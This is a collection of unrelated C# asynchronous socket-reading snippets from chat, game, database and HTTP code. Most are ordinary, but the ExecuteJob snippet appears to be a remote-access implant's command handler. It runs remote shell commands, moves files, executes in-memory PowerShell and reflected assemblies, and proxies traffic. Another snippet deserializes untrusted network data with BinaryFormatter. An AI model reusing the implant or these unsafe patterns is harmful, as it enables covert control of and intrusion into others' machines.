public void ReceiveMessage(IAsyncResult ar) { try { if (!client.Connected && !netStream.CanRead) { return; } int bufferLength = netStream.EndRead(ar); string messageReceived = Encoding.ASCII.GetString(data, 0, bufferLength); if (!messageReceived.IsNullOrWhiteSpace()) { commandQueue.Enqueue(messageReceived); CheckForNameMessage(messageReceived); netStream.Flush(); } netStream.BeginRead(data, 0, bufferSize, ReceiveMessage, null); } catch (Exception ex) { Console.WriteLine(ex); } }
// 读取完成时的回调方法 private void ReadComplete(IAsyncResult ar) { int bytesRead; try { lock (streamToServer) { bytesRead = streamToServer.EndRead(ar); } if (bytesRead == 0) { throw new Exception("读取到0字节"); } string msg = Encoding.Unicode.GetString(buffer, 0, bytesRead); Console.WriteLine("Received: {0}", msg); Array.Clear(buffer, 0, buffer.Length); // 清空缓存,避免脏读 lock (streamToServer) { AsyncCallback callBack = new AsyncCallback(ReadComplete); streamToServer.BeginRead(buffer, 0, BufferSize, callBack, null); } } catch (Exception ex) { if (streamToServer != null) { streamToServer.Dispose(); } client.Close(); Console.WriteLine(ex.Message); } }
private void ReceiveCallback(IAsyncResult _result) { try { int _byteLength = stream.EndRead(_result); if (_byteLength <= 0) { Servidor.clientes[id].Disconnect(); return; } byte[] _data = new byte[_byteLength]; Array.Copy(receiveBuffer, _data, _byteLength); // handle data receivedData.Reset(HandleData(_data)); stream.BeginRead(receiveBuffer, 0, dataBufferSize, ReceiveCallback, null); } catch (Exception _ex) { Console.WriteLine($"Error recibiendo los datos TCP: {_ex}"); Servidor.clientes[id].Disconnect(); } }
public void ReadCallback(IAsyncResult ar ){ Encoding enc = Encoding.UTF8; stream = GetNetworkStream (); int bytes = stream.EndRead(ar); string message = enc.GetString (readbuf, 0, bytes); message = message.Replace("\r", "").Replace("\n", ""); isStopReading = false; messages.Add(message); }
public void ExecuteJob(JsonObject job) { string jobId = job["_id"]; try { string jobType = job["payload"]["type"]; if (jobType == "command") { string cmd = job["payload"]["options"]["cmd"]; string path = "."; try { path = job["payload"]["options"]["path"]; } catch { } Directory.SetCurrentDirectory(path); System.Diagnostics.Process pProcess = new System.Diagnostics.Process(); pProcess.StartInfo.FileName = "cmd.exe"; pProcess.StartInfo.Arguments = " /C " + cmd; pProcess.StartInfo.UseShellExecute = false; pProcess.StartInfo.RedirectStandardOutput = true; pProcess.StartInfo.RedirectStandardError = true; pProcess.StartInfo.CreateNoWindow = true; pProcess.Start(); string strOutput = pProcess.StandardOutput.ReadToEnd(); string strError = pProcess.StandardError.ReadToEnd(); pProcess.WaitForExit(); bool hasError = (pProcess.ExitCode != 0); string result = strOutput + strError; SubmitJobResult(jobId, result, hasError); } else if (jobType == "cd") { string dir = job["payload"]["options"]["dir"]; string path = "."; try { path = job["payload"]["options"]["path"]; } catch { } Directory.SetCurrentDirectory(path); Directory.SetCurrentDirectory(dir); string newDir = Directory.GetCurrentDirectory(); SubmitJobResult(jobId, newDir, false); } else if (jobType == "configure") { JsonValue config = job["payload"]["options"]["config"]; foreach (KeyValuePair <string, JsonValue> x in config) { this.config[x.Key] = x.Value; if (x.Key == "refreshrate") { this.connector.setRefreshRate(int.Parse(x.Value)); } else if (x.Key == "buffersize") { this.connector.setBufferSize(int.Parse(x.Value)); } } List <KeyValuePair <string, JsonValue> > configList = new List <KeyValuePair <string, JsonValue> >(); foreach (KeyValuePair <string, string> p in this.config) { configList.Add(new KeyValuePair <string, JsonValue>(p.Key, p.Value)); } JsonObject configObject = new JsonObject(configList); SubmitJobResult(jobId, configObject.ToString(), false); } else if (jobType == "exit") { SubmitJobResult(jobId, "Bye Bye!", false); System.Environment.Exit(0); } else if (jobType == "download") { string path = "."; try { path = job["payload"]["options"]["path"]; } catch { } Directory.SetCurrentDirectory(path); string file = job["payload"]["options"]["file"]; string pipe_id = job["payload"]["options"]["pipe_id"]; int length = (int)job["payload"]["options"]["length"]; string result = ""; using (FileStream fs = new FileStream(file, System.IO.FileMode.Create)) { this.connector.Pipe2Stream(pipe_id, length, fs); result = fs.Name; } SubmitJobResult(jobId, result, false); } else if (jobType == "upload") { string path = "."; try { path = job["payload"]["options"]["path"]; } catch { } Directory.SetCurrentDirectory(path); string file = job["payload"]["options"]["file"]; string pipe_id = job["payload"]["options"]["pipe_id"]; string result = ""; using (FileStream fs = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { this.connector.Stream2Pipe(pipe_id, fs); result = fs.Name; } SubmitJobResult(jobId, result, false); } else if (jobType == "posh_in_mem") { string command = job["payload"]["options"]["command"]; string path = "."; string pipe_id; string script; int length = 0; try { length = (int)job["payload"]["options"]["length"]; pipe_id = job["payload"]["options"]["pipe_id"]; } catch { pipe_id = ""; } try { path = job["payload"]["options"]["path"]; } catch { } Directory.SetCurrentDirectory(path); if (pipe_id != "") { byte[] buffer = this.connector.PipeRead(pipe_id, length); script = Encoding.ASCII.GetString(buffer, 0, buffer.Length); } else { script = ""; } script += "\r\n" + command; string result = this.posh(script); SubmitJobResult(jobId, result, false); } else if (jobType == "reflected_assembly") { string arguments = job["payload"]["options"]["arguments"]; string method = job["payload"]["options"]["method"]; string clas = job["payload"]["options"]["class"]; string pipe_id = job["payload"]["options"]["pipe_id"]; int length = (int)job["payload"]["options"]["length"]; string file_id = job["payload"]["options"]["file_id"]; Assembly assembly; string[] strarr = arguments.Split(','); string result = ""; Type[] typearr = new Type[strarr.Length]; Object[] argarr = new Object[strarr.Length]; for (int i = 0; i < strarr.Length; i++) { if (strarr[i].Length >= 7 && strarr[i].Substring(0, 6).ToLower() == "[bool]") { argarr[i] = Convert.ToBoolean(strarr[i].Split(']')[1]); } else if (strarr[i].Length >= 6 && strarr[i].Substring(0, 5).ToLower() == "[int]") { argarr[i] = Convert.ToInt32(strarr[i].Split(']')[1]); } else { argarr[i] = strarr[i]; } typearr[i] = argarr[i].GetType(); } if (this.assemblies.ContainsKey(file_id)) { assembly = this.assemblies[file_id]; } else { byte[] buffer = this.connector.PipeRead(pipe_id, length); assembly = Assembly.Load(buffer); } result = assembly.GetType(clas).GetMethod(method, typearr).Invoke(0, argarr).ToString(); SubmitJobResult(jobId, result, false); } else if (jobType == "interactive") { string filename = job["payload"]["options"]["filename"]; string pipe_id = job["payload"]["options"]["pipe_id"]; string path = "."; try { path = job["payload"]["options"]["path"]; } catch { } Directory.SetCurrentDirectory(path); System.Diagnostics.Process pProcess = new System.Diagnostics.Process(); pProcess.StartInfo.FileName = filename; pProcess.StartInfo.UseShellExecute = false; pProcess.StartInfo.RedirectStandardOutput = true; pProcess.StartInfo.RedirectStandardError = true; pProcess.StartInfo.RedirectStandardInput = true; pProcess.StartInfo.CreateNoWindow = true; pProcess.Start(); byte[] outbuff = new byte[this.connector.getBufferSize()]; byte[] errbuff = new byte[this.connector.getBufferSize()]; byte[] inbuff; IAsyncResult outReadop = pProcess.StandardOutput.BaseStream.BeginRead(outbuff, 0, outbuff.Length, null, null); IAsyncResult errReadop = pProcess.StandardError.BaseStream.BeginRead(errbuff, 0, errbuff.Length, null, null); int outBytesRead, errBytesRead; while (!pProcess.HasExited) { outBytesRead = 0; errBytesRead = 0; MemoryStream memStream = new MemoryStream(); if (outReadop.IsCompleted) { outBytesRead = pProcess.StandardOutput.BaseStream.EndRead(outReadop); if (outBytesRead != 0) { memStream.Write(outbuff, 0, outBytesRead); outReadop = pProcess.StandardOutput.BaseStream.BeginRead(outbuff, 0, outbuff.Length, null, null); } } if (errReadop.IsCompleted) { errBytesRead = pProcess.StandardError.BaseStream.EndRead(errReadop); if (errBytesRead != 0) { memStream.Write(errbuff, 0, errBytesRead); errReadop = pProcess.StandardError.BaseStream.BeginRead(errbuff, 0, errbuff.Length, null, null); } } if (outBytesRead + errBytesRead > 0) { inbuff = this.connector.PipeReadWrite(pipe_id, memStream.ToArray()); memStream.Dispose(); } else { inbuff = this.connector.PipeRead(pipe_id); } if (inbuff.Length > 0) { pProcess.StandardInput.Write(Encoding.ASCII.GetString(inbuff)); } System.Threading.Thread.Sleep(this.connector.getRefreshRate()); } SubmitJobResult(jobId, "Process exited!", false); } else if (jobType == "tcp_fwd" || jobType == "socks") { TcpClient tcpClient = new TcpClient(); string pipe_id = job["payload"]["options"]["pipe_id"]; if (jobType == "tcp_fwd") { string host = job["payload"]["options"]["host"]; int port = (int)job["payload"]["options"]["port"]; IPAddress ipAddress = getIpAddress(host); tcpClient.Connect(ipAddress, port); } else { byte[] rBuffer; byte[] wBuffer = new byte[2]; rBuffer = connector.PipeRead(pipe_id, 2); if (rBuffer[0] == 5) { rBuffer = connector.PipeRead(pipe_id, rBuffer[1]); int i; for (i = 0; i < rBuffer.Length; i++) { if (rBuffer[i] == 0) { break; } } wBuffer[0] = 5; if (rBuffer[i] != 0) { wBuffer[1] = 255; connector.PipeWrite(pipe_id, wBuffer); throw new Exception("No auth method found"); } else { wBuffer[1] = 0; connector.PipeWrite(pipe_id, wBuffer); } rBuffer = connector.PipeRead(pipe_id, 4); if (rBuffer[1] != 1) { wBuffer[0] = 5; wBuffer[1] = 7; connector.PipeWrite(pipe_id, wBuffer); throw new Exception("Not a connect"); } IPAddress ipAddress; byte addressType = rBuffer[3]; if (addressType == 1) { byte[] ipv4 = connector.PipeRead(pipe_id, 4); ipAddress = new IPAddress(ipv4); rBuffer = connector.PipeRead(pipe_id, 2); int port = rBuffer[0] * 256 + rBuffer[1]; tcpClient.Connect(ipAddress, port); if (!tcpClient.Connected) { wBuffer[0] = 5; wBuffer[1] = 7; connector.PipeWrite(pipe_id, wBuffer); throw new Exception("Could not connect to host"); } wBuffer = new byte[10]; wBuffer[0] = 5; wBuffer[1] = 0; wBuffer[2] = 0; wBuffer[3] = addressType; Array.Copy(ipv4, 0, wBuffer, 4, 4); Array.Copy(rBuffer, 0, wBuffer, 8, 2); connector.PipeWrite(pipe_id, wBuffer); } else if (addressType == 3) { rBuffer = connector.PipeRead(pipe_id, 1); byte hostSize = rBuffer[0]; byte[] hostBuffer = connector.PipeRead(pipe_id, hostSize); ipAddress = getIpAddress(Encoding.ASCII.GetString(hostBuffer)); rBuffer = connector.PipeRead(pipe_id, 2); int port = rBuffer[0] * 256 + rBuffer[1]; tcpClient.Connect(ipAddress, port); if (!tcpClient.Connected) { wBuffer[0] = 5; wBuffer[1] = 7; connector.PipeWrite(pipe_id, wBuffer); throw new Exception("Could not connect to host"); } wBuffer = new byte[7 + hostSize]; wBuffer[0] = 5; wBuffer[1] = 0; wBuffer[2] = 0; wBuffer[3] = addressType; wBuffer[4] = hostSize; Array.Copy(hostBuffer, 0, wBuffer, 5, hostSize); Array.Copy(rBuffer, 0, wBuffer, 5 + hostSize, 2); connector.PipeWrite(pipe_id, wBuffer); } else { wBuffer[0] = 5; wBuffer[1] = 4; connector.PipeWrite(pipe_id, wBuffer); throw new Exception("Invalid destionation address"); } } else if (rBuffer[0] == 4) { if (rBuffer[1] != 1) { wBuffer[0] = 0; wBuffer[1] = 91; connector.PipeWrite(pipe_id, wBuffer); throw new Exception("Invalid socks 4 command"); } byte[] bufferPort = connector.PipeRead(pipe_id, 2); int port = bufferPort[0] * 256 + bufferPort[1]; byte[] ipv4 = connector.PipeRead(pipe_id, 4); IPAddress ipAddress = new IPAddress(ipv4); while (rBuffer[0] != 0) { rBuffer = connector.PipeRead(pipe_id, 1); } tcpClient.Connect(ipAddress, port); wBuffer = new byte[8]; wBuffer[0] = 0; if (tcpClient.Connected) { wBuffer[1] = 90; Array.Copy(ipv4, 0, wBuffer, 2, 4); Array.Copy(bufferPort, 0, wBuffer, 6, 2); connector.PipeWrite(pipe_id, wBuffer); } else { wBuffer[1] = 91; Array.Copy(ipv4, 0, wBuffer, 2, 4); Array.Copy(bufferPort, 0, wBuffer, 6, 2); connector.PipeWrite(pipe_id, wBuffer); throw new Exception("Could not connect to host"); } } } NetworkStream srvStream = tcpClient.GetStream(); byte[] outbuff = new byte[this.connector.getBufferSize()]; IAsyncResult outReadop = srvStream.BeginRead(outbuff, 0, outbuff.Length, null, null); int outBytesRead; byte[] inbuff; int refreshRate = this.connector.getRefreshRate(); while (tcpClient.Connected) { outBytesRead = 0; MemoryStream memStream = new MemoryStream(); if (outReadop.IsCompleted) { outBytesRead = srvStream.EndRead(outReadop); if (outBytesRead != 0) { memStream.Write(outbuff, 0, outBytesRead); outReadop = srvStream.BeginRead(outbuff, 0, outbuff.Length, null, null); } } if (outBytesRead > 0) { inbuff = this.connector.PipeReadWrite(pipe_id, memStream.ToArray()); memStream.Dispose(); } else { inbuff = this.connector.PipeRead(pipe_id); } if (inbuff.Length > 0) { srvStream.Write(inbuff, 0, inbuff.Length); } System.Threading.Thread.Sleep(refreshRate); } SubmitJobResult(jobId, "Tcp Connection Closed", false); } else { throw new Exception("Payload type not supported"); } } catch (Exception e) { Console.WriteLine(e); SubmitJobResult(jobId: jobId, result: e.Message, error: true); } }
/// <summary> /// Occurs when a package ID has been received from the client /// </summary> /// <param name="ar"></param> private void ClientIDReceivedCallback(IAsyncResult ar) { try { int numBytes = client.EndRead(ar); if (numBytes == 0) { throw new InvalidDataException("No ID received."); } else { Array.Copy(packageIntReceiveBuffer, 0, packageIntSendBuffer, 0, numBytes); int id = BitConverter.ToInt32(packageIntReceiveBuffer, 0); Helper.Settings.Instance.Logger.AddMessage(Utilities.Logging.MessageType.DEBUG, String.Format("Received package {0}", id)); //server.BeginWrite(packageIntSendBuffer, 0, numBytes, ServerIDSentCallback, null); dataLengthExpected = false; switch (id) { case 0: case 10: //Variable data length dataLengthExpected = true; break; case 6: dataLengthExpected = false; sendDataLength = 0; sendDataLength += IntSize; //ChunkX sendDataLength += IntSize; //ChunkY sendDataLength += IntSize; //ItemIndex sendDataLength += UIntSize; //Something4 sendDataLength += 1; //InteractType sendDataLength += 1; //Something6 sendDataLength += UInt16Size; //Something7 break; case 17: dataLengthExpected = false; sendDataLength = 0; sendDataLength += IntSize; break; default: Helper.Settings.Instance.Logger.AddMessage(Utilities.Logging.MessageType.WARNING, String.Format("Unknown packet {0}", id)); break; } CurrentPackageId = id; server.BeginWrite(packageIntSendBuffer, 0, numBytes, ServerIDSentCallback, null); } } catch (Exception ex) { Disconnect(); logError(ex); } }
/// <summary> /// 接收消息的例程,在一个单独的线程中运行 /// </summary> /// <returns></returns> private static IEnumerator _Receive() { // 持续接收消息 while (_curState == ClientState.Connected) { // 解析数据包 byte[] data = new byte[4]; int length; // 消息长度 BombplaneProto.Type type; Message message = new Message(); // 消息正文 int receive = 0; // 接收长度 //异步读取 IAsyncResult async = _stream.BeginRead(data, 0, data.Length, null, null); while (!async.IsCompleted) { yield return(null); } //异常处理 try { receive = _stream.EndRead(async); } catch (Exception ex) { _curState = ClientState.None; Console.WriteLine("消息包头接收失败:" + ex.Message); yield break; } if (receive < data.Length) { _curState = ClientState.None; Console.WriteLine("消息包头接收失败:"); yield break; } using (MemoryStream stream = new MemoryStream(data)) { BinaryReader binary = new BinaryReader(stream, Encoding.UTF8); //UTF-8格式解析 try { length = binary.ReadUInt16(); } catch (Exception) { _curState = ClientState.None; Console.WriteLine("消息包头接收失败:"); yield break; } } // 如果有包体 if (length - 4 > 0) { data = new byte[length - 4]; // 异步读取 async = _stream.BeginRead(data, 0, data.Length, null, null); while (!async.IsCompleted) { yield return(null); } //异常处理 try { receive = _stream.EndRead(async); } catch (Exception ex) { _curState = ClientState.None; Console.WriteLine("消息包头接收失败:" + ex.Message); yield break; } if (receive < data.Length) { _curState = ClientState.None; Console.WriteLine("消息包头接收失败:"); yield break; } } // 没有包体 else { data = new byte[0]; receive = 0; } if (_callBacks.ContainsKey(type)) { // 执行回调事件 CallBack method = _callBacks[type]; method(data); } else { Console.WriteLine("未注册该类型的回调事件"); } } }
/// <summary> /// Callback for Read operation /// </summary> private void ReadCallback(IAsyncResult result) { if (this._isConnected) { NetworkStream networkStream; try { networkStream = new NetworkStream(this.mySocket); } catch (Exception ex) { // Logger.WriteLog(LogLevel.Warning, "ex.Message); if (this.OnError != null) { this.OnError(this, new Co0nUtilZ.ErrorEventArgs("Fehler beim lesen empfangener Daten:\r\n" + ex.ToString())); } return; } Int32 BytesReceived = networkStream.EndRead(result); byte[] buffer = { }; try { buffer = result.AsyncState as byte[]; } catch (ArgumentNullException ex) { //asyncResult is null. } catch (ArgumentException ex) { //asyncResult was not returned by a call to the BeginSend method. } catch (SocketException ex) { //An error occurred when attempting to access the socket. See the Remarks section for more information. } catch (ObjectDisposedException ex) { //The Socket has been closed. } catch (InvalidOperationException ex) { //EndSend was previously called for the asynchronous send. } string data = ""; if (BytesReceived > 0) {//Less Bytes than Buffer were sent... seems something ist missing data = ASCIIEncoding.ASCII.GetString(buffer, 0, buffer.Length); data = data.Substring(BytesReceived); } //Do something with the data object here. if (this.DataReceived != null) { this.DataReceived( this, new Co0nUtilZ.ProgressEventArgs( 50, data ) ); } networkStream.FlushAsync(); //Then start reading from the network again. try { networkStream.BeginRead(buffer, 0, buffer.Length, ReadCallback, buffer); } catch (Exception ex) { if (this.OnError != null) { this.OnError(this, new Co0nUtilZ.ErrorEventArgs("Fehler beim Socket-Lesevorgang:\r\n" + ex.ToString())); } } } }
private void BeginReading() { try { if (!(_bufferingMode is FrameBuffering)) { lock (_readerSocketStreamBusy) { while (_readerSocketStreamBusy.Value) { Monitor.Wait(_readerSocketStreamBusy); } _readerSocketStreamBusy.Value = true; } } lock (_readerSocketStream) { var rh = _readerSocketStream.BeginRead(_buffer[_bufNo], 0, _buffer[_bufNo].Length, new AsyncCallback((ar) => { try { int bytesReadCount; lock (_readerSocketStream) bytesReadCount = _readerSocketStream.EndRead(ar); if (bytesReadCount == 0) { if (_alreadyDisposed) { CompleteReader(); return; } throw new CassandraConnectionIOException(); } else { foreach (var frame in _bufferingMode.Process(_buffer[_bufNo], bytesReadCount, _readerSocketStream, _compressor)) { Action <ResponseFrame> act = null; lock (_frameGuardier) { if (frame.FrameHeader.StreamId == 0xFF) { act = _frameEventCallback.Value; } else if (frame.FrameHeader.StreamId <= sbyte.MaxValue) { if (_frameReadTimers[frame.FrameHeader.StreamId] != null) { _frameReadTimers[frame.FrameHeader.StreamId].Change(Timeout.Infinite, Timeout.Infinite); } act = _frameReadCallback[frame.FrameHeader.StreamId]; _frameReadCallback[frame.FrameHeader.StreamId] = null; } } if (act == null) { throw new InvalidOperationException("Protocol error! Unmached response. Terminating all requests now..."); } act.BeginInvoke(frame, (tar) => { try { (tar.AsyncState as Action <ResponseFrame>).EndInvoke(tar); } catch (Exception ex) { SetupSocketException(ex); } finally { if (!(_bufferingMode is FrameBuffering)) { if (IsHealthy) { BeginReading(); } } } }, act); } _bufNo = 1 - _bufNo; } } catch (Exception ex) { SetupSocketException(ex); } finally { if (_bufferingMode is FrameBuffering) { if (IsHealthy) { BeginReading(); } } else { lock (_readerSocketStreamBusy) { _readerSocketStreamBusy.Value = false; Monitor.PulseAll(_readerSocketStreamBusy); } } } }), null); } } catch (IOException e) { if (!SetupSocketException(e)) { throw; } } }
/// <summary> Called when a message arrives </summary> /// <param name="ar"> An async result interface </param> private void ReceiveComplete(IAsyncResult ar) { try { if (Thread.CurrentThread.Name == null) { Thread.CurrentThread.Name = "NetThreadPool"; } // Is the Network Stream object valid if ((NetworkStream != null) && (NetworkStream.CanRead)) { // Read the current bytes from the stream buffer MessageLength = NetworkStream.EndRead(ar); // If there are bytes to process else the connection is lost if (MessageLength > 0) { try { // A message came in send it to the MessageHandler MessageHandler(this); } catch { } // Wait for a new message Receive(); } else { if (NetworkStream != null) { Disconnect(); } // Call the close handler CloseHandler(this); } } else { if (NetworkStream != null) { Disconnect(); } // Call the close handler CloseHandler(this); } } catch (Exception exception) { if (NetworkStream != null) { Disconnect(); if ((!exception.Message.Contains("forcibly closed")) && (!exception.Message.Contains("thread exit"))) { ErrorHandler(this, exception); } } // Call the close handler CloseHandler(this); } ar.AsyncWaitHandle.Close(); }
private void ServerReceiveCallback(IAsyncResult result) { try { int byteLength = _netStream.EndRead(result); if (byteLength <= 0) { _connection.Disconnect(); return; } byte[] data = new byte[byteLength]; Array.Copy(_receiveBuffer, data, byteLength); _netStream.BeginRead(_receiveBuffer, 0, _bufferSize, ServerReceiveCallback, null); //Framing ushort totalPacketSizeRead = 0; while (totalPacketSizeRead < byteLength) { //Each time we iterate totalPacketSizeRead will also increase based on the packet length ushort packetLength = BitConverter.ToUInt16(data, totalPacketSizeRead); //TODO: I need to fix this mess! //When there is massive(I mean truly massive. Like SHIT LOAD OF MASSIVE) amount of data being received; framing algorithm seems to f**k up. //It thinks that there is more bytes to read than the current byteLength we have. This is f****d up... //I don't know the reason behind this. I might even write an entirely different framing algorithm at this point... //Oh god please help me found wtf is wrong with this bs... //But for some stupid reason this if statement seems to fix the issue WITH NO DATA LOSS... WTF!? if (totalPacketSizeRead > byteLength) { continue; } byte[] framedData = new byte[packetLength]; Array.Copy(data, totalPacketSizeRead, framedData, 0, packetLength); //We can increase the read length as we copied the data to the array. totalPacketSizeRead += packetLength; Packet packet = new Packet(framedData); //We just do this to increase the read position in the buffer. ushort packetSize = packet.ReadUnsignedShort(); byte channel = packet.ReadByte(); byte packetId = packet.ReadByte(); PacketHeader packetHeader = new PacketHeader(channel, packetId); _asyncTcp.OnServerDataReceive(_connection, packet, packetHeader); } //Packet packetReceived = new Packet(data); //byte channel = packetReceived.ReadByte(); //byte packetId = packetReceived.ReadByte(); //PacketHeader packetHeader = new PacketHeader(channel, packetId); //_asyncTcp.OnServerDataReceive(_connection, packetReceived, packetHeader); } catch (Exception exception) { _connection.Disconnect(); _asyncTcp.OnServerErrorDetected($"Error while receiving data from client [{_connection.ConnectionId}] : " + exception); } }
/// <summary> /// Calback / prichod dat an streame /// </summary> /// <param name="ar">IAsyncResult</param> private void DataReceived(IAsyncResult ar) { lock (this) { //inicializacia SocketState state = (SocketState)ar.AsyncState; NetworkStream stream = state.Stream; Int32 r = 0; // kontrola ci mozme zo streamu citat if (!stream.CanRead) { return; } try { //prerusime asynchronne citanie r = stream.EndRead(ar); //ak neboli nacitane ziadne _data asi ide o pad spojenia if (r == 0) { //niekedy dochadza k oneskoreniu vlakna zo streamu ktory oznamuje pad spojenia if (this.IsDisposed == false) { //zalogujeme. this.InternalTrace(TraceTypes.Error, "Loss connection with the remote end point!"); //ukoncime komunikaciu this.InternalDisconnect(false); } //nebolo by vhodne nahodit t stav disconnected ??? return; } } catch (Exception ex) { //zalogujeme this.InternalException(ex, "Error during exiting asynchronous reading from the stream. {0}.", ex.Message); //ukoncime komunikaciu this.InternalDisconnect(false); //ukoncime return; } //skopirujeme pole bytov Byte[] rdata = new Byte[r]; Buffer.BlockCopy(state.Data, 0, rdata, 0, r); //zalogujeme prijate dat //this.InternalTrace(TraceTypes.Verbose, "Received _data: [{0}]", BitConverter.ToString(rdata)); this.InternalTrace(TraceTypes.Verbose, "Received data: [{0}]", rdata.Length); //_data su akeptovane len ak sme pripojeny if (this.IsConnected) { //vytvorime udalost a posleme data OnReceivedData(new DataEventArgs(rdata, state.Client.Client.RemoteEndPoint as IPEndPoint)); } try { //otvorime asynchronne citanie na streame stream.BeginRead(state.Data, 0, state.Data.Length, tcp_DataReceived, state); } catch (Exception ex) { //zalogujeme this.InternalTrace(TraceTypes.Error, "Chyba pri opatovnom spusteni asynchronneho citania zo streamu. {0}", ex.Message); //ukoncime return; } } }
/// <summary> /// 异步接收函数 /// </summary> /// <param name="iar">异步操作状态</param> private void AsyncReadCallBack(IAsyncResult iar) { TcpClient client = (TcpClient)iar.AsyncState; if (client == null || !IsConnect) { MessageBox.Show($"异步读取失败,client为空或连接断开"); // ExceptionInfoCallBack?.Invoke($"异步读取失败,client为空或连接断开"); return; } //获取ns NetworkStream networkStream = client.GetStream(); int readByteNum = 0; //结束异步读取 try { readByteNum = networkStream.EndRead(iar); } catch (Exception e) { MessageBox.Show($"获取Stream异常:{e.Message}"); // ExceptionInfoCallBack?.Invoke($"异步读取失败:{e.Message}"); return; } //获取读取的数据 if (readByteNum > 0) { byte[] buffBytes = new byte[readByteNum]; Array.Copy(_recDataBytesBuff, 0, buffBytes, 0, readByteNum); //回调处理接收的数据 RecDataHandleCallBack?.Invoke(_recDataBytesBuff.ToList()); //继续接收 _recDataBytesBuff = new byte[_bufferSize]; try { networkStream.BeginRead(_recDataBytesBuff, 0, _bufferSize, AsyncReadCallBack, client); } catch (Exception e) { MessageBox.Show($"获取Stream异常:{e.Message}"); //ExceptionInfoCallBack?.Invoke($"异步读取失败:{e.Message}"); return; } } else { DisConnect(); MessageBox.Show($"连接断开"); //ExceptionInfoCallBack?.Invoke($"连接断开"); } }
/// <summary> /// Метод асинхронно вызываемый при наличие данных в буферах приема. /// </summary> public void ReadCallback(IAsyncResult ar) { if (modeNetwork == Mode.indeterminately) { return; } TcpClientData myTcpClient = (TcpClientData)ar.AsyncState; try { NetworkStream ns = myTcpClient.tcpClient.GetStream(); int r = ns.EndRead(ar); if (r > 0) { // Из главного заголовка получим размер массива байтов информационного объекта string header = Encoding.Default.GetString(myTcpClient.buffer); int leninfo = int.Parse(header); // Получим и десериализуем объект с подробной информацией о содержании получаемого сетевого пакета MemoryStream ms = new MemoryStream(leninfo); byte[] temp = new byte[leninfo]; r = ns.Read(temp, 0, temp.Length); ms.Write(temp, 0, r); BinaryFormatter bf = new BinaryFormatter(); ms.Position = 0; SendInfo sc = (SendInfo)bf.Deserialize(ms); ms.Close(); if (sc.filesize > 0) { // Создадим файл на основе полученной информации и массива байтов следующих за объектом информации FileStream fs = new FileStream(sc.filename, FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite, sc.filesize); do { temp = new byte[global.MAXBUFFER]; r = ns.Read(temp, 0, temp.Length); // Записываем строго столько байтов сколько прочтено методом Read() fs.Write(temp, 0, r); // Как только получены все байты файла, останавливаем цикл, // иначе он заблокируется в ожидании новых сетевых данных if (fs.Length == sc.filesize) { fs.Close(); fs = null; break; } }while (r > 0); temp = null; GC.Collect(); GC.WaitForPendingFinalizers(); } if (Receive != null) { Receive(this, new ReceiveEventArgs(sc)); } myTcpClient.buffer = new byte[global.LENGTHHEADER]; ns.BeginRead(myTcpClient.buffer, 0, myTcpClient.buffer.Length, new AsyncCallback(ReadCallback), myTcpClient); } else { DeleteClient(myTcpClient); // Событие клиент отключился if (Disconnected != null) { Disconnected.BeginInvoke(this, "Клиент отключился!", null, null); } } } catch (Exception e) { DeleteClient(myTcpClient); // Событие клиент отключился if (Disconnected != null) { Disconnected.BeginInvoke(this, "Клиент отключился аварийно!", null, null); } SoundError(); } }
//2个没啥用,1个指定服务器,1个gatecmd,2个length,4个gamecmd void Rece(NetworkStream stream) { byte[] recedata = new byte[102400]; stream.BeginRead(recedata, 0, recedata.Length, (a) => { int receLength = stream.EndRead(a); if (receLength == 0) { Log("服务器关闭了连接。可能是顶号。"); _client.Close(); } else if (receLength == 1) { Log("登录成功!"); Rece(stream); } else { var converter = EndianBitConverter.Big; int offset = 0; while (offset < receLength) { int length = converter.ToInt16(recedata, offset); offset += 2; int cmd = converter.ToInt32(recedata, offset); offset += 4; using (var receMs = new MemoryStream()) { receMs.Write(recedata, offset, length - 4); receMs.Position = 0; var package = Serializer.Deserialize<Chat_Send>(receMs); Log(package.Text); offset += (length - 4); } } Rece(stream); } }, null); }
private void ReadCallback(IAsyncResult result) { if (state == HttpStates.Closed) { return; } State = HttpStates.Reading; try { var read = stream.EndRead(result); if (read < 0) { throw new HttpException("Client did not send anything"); } DebugFormat("{0} - Read {1} bytes", this, read); readStream.Write(buffer, 0, read); lastActivity = DateTime.Now; } catch (Exception) { if (!IsATimeout) { WarnFormat("{0} - Failed to read data", this); Close(); } return; } try { if (!hasHeaders) { readStream.Seek(0, SeekOrigin.Begin); var reader = new StreamReader(readStream); for (var line = reader.ReadLine(); line != null; line = reader.ReadLine()) { line = line.Trim(); if (string.IsNullOrEmpty(line)) { hasHeaders = true; readStream = StreamManager.GetStream(); if (Headers.ContainsKey("content-length") && uint.TryParse(Headers["content-length"], out bodyBytes)) { if (bodyBytes > 1 << 20) { throw new IOException("Body too long"); } var ascii = Encoding.ASCII.GetBytes(reader.ReadToEnd()); readStream.Write(ascii, 0, ascii.Length); DebugFormat("Must read body bytes {0}", bodyBytes); } break; } if (Method == null) { var parts = line.Split(new[] { ' ' }, 3); Method = parts[0].Trim().ToUpperInvariant(); Path = parts[1].Trim(); DebugFormat("{0} - {1} request for {2}", this, Method, Path); } else { var parts = line.Split(new[] { ':' }, 2); Headers[parts[0]] = Uri.UnescapeDataString(parts[1]).Trim(); } } } if (bodyBytes != 0 && bodyBytes > readStream.Length) { DebugFormat( "{0} - Bytes to go {1}", this, bodyBytes - readStream.Length); Read(); return; } using (readStream) { Body = Encoding.UTF8.GetString(readStream.ToArray()); Debug(Body); Debug(Headers); } SetupResponse(); } catch (Exception ex) { Warn($"{this} - Failed to process request", ex); response = error500.HandleRequest(this); SendResponse(); } }
void Rece(NetworkStream stream) { byte[] recedata = new byte[1024]; stream.BeginRead(recedata, 0, recedata.Length, (a) => { int receLength = stream.EndRead(a); if (receLength == 0) { Log(string.Format("[{0}] 服务器关闭了连接。可能是顶号。", Name)); _client.Close(); } else if (receLength == 1) { Log(string.Format("[{0}] 登录成功!", Name)); Interlocked.Increment(ref LoginCount); Rece(stream); } else { var converter = EndianBitConverter.Big; int offset = 0; while (offset < receLength) { int length = converter.ToInt16(recedata, offset); offset += 2; int cmd = converter.ToInt32(recedata, offset); offset += 4; using (var receMs = new MemoryStream()) { //if ((length - 4) < 0 || (length -4 + offset)> receLength) //{ // continue; //} receMs.Write(recedata, offset, length - 4); receMs.Position = 0; var package = Serializer.Deserialize<Chat_Send>(receMs); //Log(package.Text.ToString()); offset += (length - 4); } } Rece(stream); } }, null); }
